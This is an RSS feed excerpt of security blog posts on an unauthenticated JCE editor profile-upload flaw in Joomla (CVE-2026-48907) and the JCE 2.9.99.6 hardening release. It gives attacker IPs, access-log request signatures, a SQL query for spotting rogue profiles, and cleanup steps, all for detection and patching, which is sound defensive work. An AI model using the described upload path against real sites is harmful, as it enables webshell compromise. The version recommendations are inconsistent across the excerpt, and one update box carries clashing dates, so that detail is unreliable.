&lt;li&gt;&lt;strong&gt;Three distinct source IPs, two days apart.&lt;/strong&gt; Two of them sent a &lt;code&gt;python-requests&lt;/code&gt; user agent, one came through as a browser. Different IPs, same payload, same &lt;code&gt;id=RCE...&lt;/code&gt; marker. That is a botnet spraying a published exploit, not one person targeting one site. The IPs we logged were &lt;code&gt;107.149.130.5&lt;/code&gt;, &lt;code&gt;92.38.150.143&lt;/code&gt;, and &lt;code&gt;45.153.129.241&lt;/code&gt;, and the second one alternated between hitting the site by raw IP and by hostname, so the requests included both a bare-IP and a hostname &lt;code&gt;Referer&lt;/code&gt;. Block the lot at your firewall, but treat them as a sample, not the whole set.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of this needed a session cookie. Every one of those requests is unauthenticated, which is the entire point of &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; and the reason “we have no public registration” offers no protection here. If you keep nginx or Apache access logs, a search for &lt;code&gt;task=profiles.import&lt;/code&gt; and &lt;code&gt;method=upload&lt;/code&gt; across them will tell you fast whether anyone tried this on your sites, and whether they got a &lt;code&gt;200&lt;/code&gt; back when they did.&lt;/p&gt;
&lt;h2&gt;Telling a malicious profile from a permissive one&lt;/h2&gt;
&lt;p&gt;This is where a naive “scan for scary settings” sweep produces noise, because not every permissive profile is an attack.&lt;/p&gt;
&lt;p&gt;JCE profiles have an &lt;code&gt;allow_php&lt;/code&gt; setting. It is tempting to treat any profile with &lt;code&gt;allow_php&lt;/code&gt; enabled as proof. It is not. &lt;code&gt;allow_php&lt;/code&gt; governs whether PHP is allowed to run inside &lt;strong&gt;article content&lt;/strong&gt;, not whether files can be uploaded. Plenty of legitimate, developer-built profiles have it on because the site’s templates or content really do use inline PHP. On the very site we investigated, the real, developer-created working profile had &lt;code&gt;allow_php&lt;/code&gt; enabled and referenced the site’s own template CSS. It was entirely legitimate.&lt;/p&gt;
&lt;p&gt;The attacker signature is different, and it is about &lt;strong&gt;uploads&lt;/strong&gt;, not content:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Legitimate profile&lt;/th&gt;&lt;th&gt;Rogue profile&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Descriptive (Default, Lightweight, Editors)&lt;/td&gt;&lt;td&gt;Machine-generated, e.g. &lt;code&gt;J&lt;/code&gt; plus six digits (&lt;code&gt;J938560&lt;/code&gt;) or names like &lt;code&gt;Pwned&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ordering&lt;/td&gt;&lt;td&gt;Normal positive value&lt;/td&gt;&lt;td&gt;Large negative, forced to the top&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upload filetypes&lt;/td&gt;&lt;td&gt;Images and documents only&lt;/td&gt;&lt;td&gt;Includes &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, or &lt;code&gt;phtml&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;How it got there&lt;/td&gt;&lt;td&gt;Created by the site’s developer&lt;/td&gt;&lt;td&gt;Imported, often with no matching admin action in the logs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;allow_php&lt;/code&gt; in content&lt;/td&gt;&lt;td&gt;May be on for legitimate reasons&lt;/td&gt;&lt;td&gt;Irrelevant to the attack&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Judge a profile by what it lets you &lt;strong&gt;upload&lt;/strong&gt; and by whether anyone on your team actually created it. A profile whose upload filetypes include a script extension is the one to act on, whatever its &lt;code&gt;allow_php&lt;/code&gt; setting says.&lt;/p&gt;
&lt;h2&gt;A note on JCE’s history with file uploads&lt;/h2&gt;
&lt;p&gt;There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it predates this year’s bug by well over a decade.&lt;/p&gt;
&lt;p&gt;Back in 2012, an unauthenticated arbitrary file upload in JCE’s ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image, then renamed it to a &lt;code&gt;.php&lt;/code&gt; extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, it shipped as a ready-made Metasploit module, and sites were still being compromised through it years after the patch existed, purely because so many were never updated.&lt;/p&gt;
&lt;p&gt;The 2026 profiles flaw is a separate, newly patched issue. But the shape rhymes exactly: an unauthenticated JCE file-upload path, a long tail of installs no one updated, and automated tooling that does not care which site it hits. The 2012 bug got its ready-made Metasploit module; this one got public exploit code on GitHub on 9 June. The single instance we found this week is what that pattern looks like when it reaches one site. The history is what it looks like when it reaches thousands.&lt;/p&gt;
&lt;h2&gt;Finding every site still running a vulnerable JCE&lt;/h2&gt;
&lt;p&gt;The hard case is the one that matters: “I look after 40 client Joomla sites, one of them just got hit through an old JCE, and I need to know which of the others are still vulnerable, right now.”&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the “which sites are on a vulnerable JCE” question in seconds instead of logging into 40 administrator panels in sequence. The &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;Joomla vulnerability scanner&lt;/a&gt; page covers how that matching works.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier has the profile upload flaw and needs the update. Sites already on 2.9.99.5 or later, or which auto-updated overnight, are green, though the current recommended target is 2.9.99.10.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate, which matters when you start chasing the stragglers, because Pro updates need a subscription key and lapsed keys are the usual reason a site sits on an old version with no one noticing.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Patch the vulnerable sites in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are exposed, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once, straight to 2.9.99.8.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an “Apply to all” button per group and per-site controls when you want to be selective. Sites stuck on much older branches get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site’s connector, pulls the package from JCE’s update server, installs it, and reports back with a pass or fail per site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro, which means a site enrolled before this all kicked off was patched before anyone had to think about it.&lt;/p&gt;
&lt;h3&gt;For sites that cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;The current JCE releases need PHP 7.4 and Joomla 3.9 or later, and you will have a handful of &lt;a href=&quot;https://joomla3security.com/vendors/jce/&quot;&gt;long-tail sites that cannot meet that yet&lt;/a&gt;. For those, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes this vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default configuration, because the unauthenticated profile import path is blocked and no guest-accessible profile exists by default, though it is unsupported and should still be migrated.&lt;/p&gt;
&lt;p&gt;Treat the patch as a stopgap, not a fix. It closes the vulnerability only, without the broader hardening in the 2.9.99.6 and later releases, it is provided as-is, and it does not clean a site that was already compromised, so still work through the checks below. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more. Where a site can reach 2.9.99.8, update it rather than patch it.&lt;/p&gt;
&lt;h2&gt;Cleaning up a hacked site, step by step&lt;/h2&gt;
&lt;p&gt;Patching closes the door. On older or higher-risk sites, or any site you have reason to suspect, you also want to check whether anyone already walked through it. The profiles attack leaves a fingerprint you can hunt for, because the malicious request needs no session.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Audit the editor profiles.&lt;/strong&gt; Under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site, look for any profile your team did not create, especially one with a machine-generated name, a forced ordering, or upload filetypes that include a script extension. The kits we have seen leave an obvious tell here: profile names like &lt;code&gt;J&lt;/code&gt; followed by six digits, or names such as &lt;code&gt;Pwned&lt;/code&gt; with a description of &lt;code&gt;RCE via JCE&lt;/code&gt;. If you would rather query the database directly, the JCE profiles live in the &lt;code&gt;#__wf_profiles&lt;/code&gt; table, so a &lt;code&gt;SELECT id, name FROM &amp;lt;prefix&amp;gt;_wf_profiles WHERE name REGEXP &apos;^J[0-9]{6}$&apos;&lt;/code&gt; across each site is a quick way to flush them out. Take a copy before you delete anything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for files you did not put there.&lt;/strong&gt; Check &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt;, and any custom upload roots for PHP files, hidden &lt;code&gt;.xml.php&lt;/code&gt; files, and stray marker text files, especially anything with a recent timestamp that does not match a known change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pull the access logs.&lt;/strong&gt; Grep nginx or Apache access logs for &lt;code&gt;task=profiles.import&lt;/code&gt; and &lt;code&gt;method=upload&lt;/code&gt; requests, the &lt;a href=&quot;#what-it-looked-like-in-the-access-logs&quot;&gt;two-request signature shown above&lt;/a&gt;. Unauthenticated requests to those actions, especially a pair within the same second that both returned &lt;code&gt;200&lt;/code&gt;, are the ones that matter. Remember the Apache logs may be stale if nginx fronts the site, check both.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Step one is the most telling. Here is what it looks like in Joomla’s own Editor Profiles list on a compromised site: the legitimate &lt;code&gt;Default&lt;/code&gt; profile, and then the rogue &lt;code&gt;J940401&lt;/code&gt;, &lt;code&gt;Pwned&lt;/code&gt;, and &lt;code&gt;Pwned (2)&lt;/code&gt; profiles sitting right beside it, the last two labelled &lt;code&gt;RCE via JCE&lt;/code&gt; by whoever dropped them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_Z1JHDKJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_24FYRe.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_Z11vSeE.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_Z24C30C.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_19PXgA.webp 1080w, https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_xvdfR.webp 1280w, https://mysites.guru/_astro/jce-rogue-profiles-joomla-list.BftNHUPA_Z1JHDKJ.webp 1668w&quot; alt=&quot;The JCE Editor Profiles list in Joomla admin showing a legitimate Default profile alongside three rogue profiles named J940401, Pwned, and Pwned (2), the last two described as RCE via JCE&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1668px) 1668px, 100vw&quot; width=&quot;1668&quot; height=&quot;684&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Doing this by hand across a portfolio is exactly the kind of work that does not happen, which is why automating it matters. Run mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; across your sites to surface webshells and modified files, and lean on &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; to triage anything it flags rather than eyeballing obfuscated PHP one file at a time.&lt;/p&gt;
&lt;p&gt;If you do find a live compromise, the order of operations matters. Preserve a copy of the rogue profile and the suspect files for evidence, then remove the profile and the webshells, &lt;strong&gt;update JCE to 2.9.99.8 so the entry point is closed&lt;/strong&gt;, rotate Joomla secrets and admin passwords, invalidate active sessions, and run a full scan to confirm nothing else was left behind. Our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to fixing a hacked Joomla or WordPress site&lt;/a&gt; walks through the full recovery. The one mistake to avoid is deleting the files and calling it done: if JCE is still on a vulnerable version, the same automated tooling will be back, and the marker files exist so it can find the site again.&lt;/p&gt;
&lt;p&gt;Or skip the manual version entirely and let the &lt;a href=&quot;#the-new-tool-check-for-jce-rogue-profiles--backdoors&quot;&gt;new check&lt;/a&gt; at the top of this post do all three steps for you on every connected site.&lt;/p&gt;
&lt;h2&gt;How quickly should you act?&lt;/h2&gt;
&lt;p&gt;Treat this as a patch-now job on any publicly reachable site running JCE, which is almost all of them. Because the profile upload flaw is unauthenticated, the usual “only sites with registered users are at risk” reasoning does not apply. The site we found had no meaningful public registration and was compromised anyway. And since 9 June, working exploit code has been public on GitHub, so the pool of people who can run this attack is no longer limited to whoever built the original kits.&lt;/p&gt;
&lt;p&gt;The JCE developer has now &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;confirmed the same picture publicly&lt;/a&gt;: the vulnerability is being actively exploited, the exploit code is public, and the attacks are automated. The developer’s own reliable confirmation matches our logs: unauthenticated requests to &lt;code&gt;index.php?option=com_jce&amp;amp;task=profiles.import&lt;/code&gt;, with the earliest matching entry showing when the site was first reached. That advisory points readers here for the full technical breakdown.&lt;/p&gt;
&lt;h3&gt;Patch today&lt;/h3&gt;
&lt;p&gt;Do this on every site still on a vulnerable JCE: the underlying flaw is unauthenticated and has a public exploit. The update to 2.9.99.11 is free and config-free for both Free and Pro, and it includes the 2.9.99.7 fix that restored legitimate uploads 2.9.99.6 could block, so there is no reason to hold back.&lt;/p&gt;
&lt;h3&gt;Check the higher-risk sites second&lt;/h3&gt;
&lt;p&gt;Look for the fingerprint above: older Joomla installs, sites with a history of neglect, anything where the JCE version sat unpatched for a long stretch. For most sites the check comes up empty, which is the point. Close the chapter properly rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build, no shared codebase, and no equivalent profile-import mechanism. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this. The Joomla half needs the update and, on the older sites, the check.&lt;/p&gt;
&lt;p&gt;The underlying shape of the bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where endpoints that should check who is calling them simply do not.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-hack-four-months-on/&quot;&gt;The JCE hack, four months on&lt;/a&gt; - the retrospective: the long tail still being hit, the disclosures it set off, and what we check every day&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the JCE developer’s own advisory, confirming active exploitation and the free patch package for sites that cannot update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE Free/Pro 2.9.99.5 Security Update&lt;/a&gt; - the unauthenticated profile upload, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;, that this attack exploits&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release to patch to, not just 2.9.99.5&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - the authenticated-only file browser bugs from the same review&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find hacked files and backdoors in Joomla and WordPress&lt;/a&gt; - the suspect content scanner used to surface webshells like these&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to fix a hacked Joomla or WordPress site with mySites.guru&lt;/a&gt; - full recovery workflow once you find a compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis in mySites.guru&lt;/a&gt; - triage flagged files across a portfolio without reading obfuscated PHP by hand&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow for rolling the patch out&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE so the next advisory patches itself overnight&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking where JCE consistently sits in the top two&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/finding-every-site-running-a-vulnerable-jce.png" length="0" type="image/png"/></item><item><title>JCE Pro 2.9.99.6 Is a Hardening Release After a Full Audit of Joomla&apos;s Most-Installed Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/</guid><description>JCE Pro 2.9.99.6 follows a four-day security audit of the editor, narrowing entry points and hardening input validation. Recommended for every JCE site.</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;The whole story in one place&lt;/p&gt;&lt;div&gt;&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for this attack, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, nearly all of them almost certainly have JCE installed.&lt;/p&gt;
&lt;p&gt;On 8 June 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;released &lt;strong&gt;JCE Pro 2.9.99.6&lt;/strong&gt;&lt;/a&gt;. This one reads differently from the two releases before it. Rather than patching a single named flaw, the developer describes spending four days on “a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation.” It is a strongly recommended update for every site, framed as defense in depth rather than a fire drill.&lt;/p&gt;
&lt;p&gt;This is the third JCE security release in under two weeks. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release on 28 May&lt;/a&gt; patched two authenticated-only bugs in the file browser. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 release on 3 June&lt;/a&gt; was the serious one: an &lt;strong&gt;unauthenticated&lt;/strong&gt; editor profile upload that could be used to upload arbitrary files to the server, tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;. 2.9.99.6 is the developer’s follow-up to all of that, a intended sweep of the codebase to find and close whatever the first two fixes did not.&lt;/p&gt;
&lt;p&gt;This post covers what 2.9.99.6 actually changes, why a hardening release with no named CVE still belongs on your patch-today list, and how to find and update every JCE install across the Joomla sites you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; in one batch instead of one administrator panel at a time.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;p&gt;JCE 2.9.99.6 is a security hardening release following a full four-day audit of the editor. It narrows entry points and tightens input validation across JCE. There is no new named CVE, but the developer calls it strongly recommended for all sites. If you patched to 2.9.99.5 last week, update again to 2.9.99.6 now.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 29 July 2026&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JCE 2.9.99.11&lt;/strong&gt;, published 15 September, is now the current release, and the last to add features to the 2.9 series before JCE 3.0. The most recent security fix in the branch came in &lt;strong&gt;2.9.99.10&lt;/strong&gt; on 29 July. Its one listed security item is minor next to this one: an authenticated, privileged user could rename a file so it became hidden in the folder they were browsing. Comparing the packages shows it also hardens the upload path well beyond what the changelog admits. &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;Read the 2.9.99.10 breakdown&lt;/a&gt;, and update any site still on an earlier 2.9.99.x.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 2 July 2026&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JCE 2.9.99.8&lt;/strong&gt; is now the current release, published 2 July. It is a maintenance update rather than a security fix: it hardens the File Browser so php, js and exe files are never listed even when a profile allows them, and fixes folder-restricted Media Fields, filenames with special characters, and dialog display problems. If you are on any earlier 2.9.99.x, update to 2.9.99.8.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 18 June 2026&lt;/p&gt;&lt;p&gt;2.9.99.6 was superseded by &lt;strong&gt;JCE 2.9.99.7&lt;/strong&gt;, released 18 June. Most importantly, it fixes an upload regression that 2.9.99.6 introduced: over-eager PHP-tag detection was blocking legitimate image and file uploads on some sites. If your uploads broke after updating to 2.9.99.6, 2.9.99.7 is the fix. It also adds a Permitted User Groups whitelist for profile assignment and continues the upload hardening. No new CVE. Both are now themselves superseded by 2.9.99.11, so update straight to the current release.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 10 June 2026&lt;/p&gt;&lt;p&gt;On 9 June, working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;, the unauthenticated file upload patched in 2.9.99.5, was published on GitHub. When this post first went out, we wrote that you were not racing a published exploit. You now are. If any site you manage is still below 2.9.99.5, treat it as a drop-everything update, and check it for &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;rogue profiles and webshells&lt;/a&gt; while you are there.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 16 June 2026&lt;/p&gt;&lt;p&gt;CISA, the US government’s cyber security agency, has added &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; to its &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/06/16/cisa-adds-one-known-exploited-vulnerability-catalog&quot; target=&quot;_blank&quot;&gt;Known Exploited Vulnerabilities catalog&lt;/a&gt; (listed as the “Widget Factory Joomla Content Editor Improper Access Control Vulnerability”). CISA only lists a flaw there when it has evidence of active exploitation in the wild, so this is independent confirmation of what the developer reported. The catalog has a patch deadline for US federal agencies; that directive does not bind private organisations, but CISA recommends everyone treat KEV-listed flaws as a priority. Translation: patch now, on 2.9.99.5 or above.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.6&lt;/strong&gt; released 8 June 2026, the third JCE security release in under two weeks&lt;/li&gt;
&lt;li&gt;Result of a &lt;strong&gt;four-day audit&lt;/strong&gt; of the editor that narrowed entry points and hardened input validation&lt;/li&gt;
&lt;li&gt;Framed as &lt;strong&gt;defense in depth&lt;/strong&gt;, not a fix for one named flaw. No CVE assigned to this release itself&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update, 9 June:&lt;/strong&gt; working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;, the flaw patched in 2.9.99.5, is now public on GitHub. Any site below 2.9.99.5 is racing a published exploit&lt;/li&gt;
&lt;li&gt;The developer calls it a &lt;strong&gt;strongly recommended update for all sites&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Supersedes every earlier release, including last week’s 2.9.99.5 (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;, unauthenticated file upload) and 2.9.99.4&lt;/li&gt;
&lt;li&gt;If you already updated to 2.9.99.5, &lt;strong&gt;update again to 2.9.99.6&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;The release announcement &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;recommends mySites.guru by name&lt;/a&gt; for managing updates across multiple sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For sites that cannot reach 2.9.99.6&lt;/strong&gt; (it needs PHP 7.4 and Joomla 3.10+), the developer has published a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; for JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default config&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru’s mass updater&lt;/a&gt; pushes the update to every affected site at once&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What 2.9.99.6 actually is&lt;/h2&gt;
&lt;p&gt;The release announcement is short and, refreshingly, honest about what kind of update this is. In the developer’s own words:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JCE developer, on the 2.9.99.6 release&lt;/p&gt;&lt;div&gt;&lt;p&gt;Following on from last week’s emergency update, I have spent the last 4 days conducting a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation. This release is the result of that audit. It is a strongly recommended update for all sites.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There is no single security line naming one bug, the way 2.9.99.5 included “insufficient access controls permitted unauthenticated users to upload editor profiles.” At the time this post goes out, the &lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;editor changelog&lt;/a&gt; has not yet published a detailed 2.9.99.6 entry. So treat this as exactly what the developer describes: a proactive hardening pass, not a response to a fresh public disclosure.&lt;/p&gt;
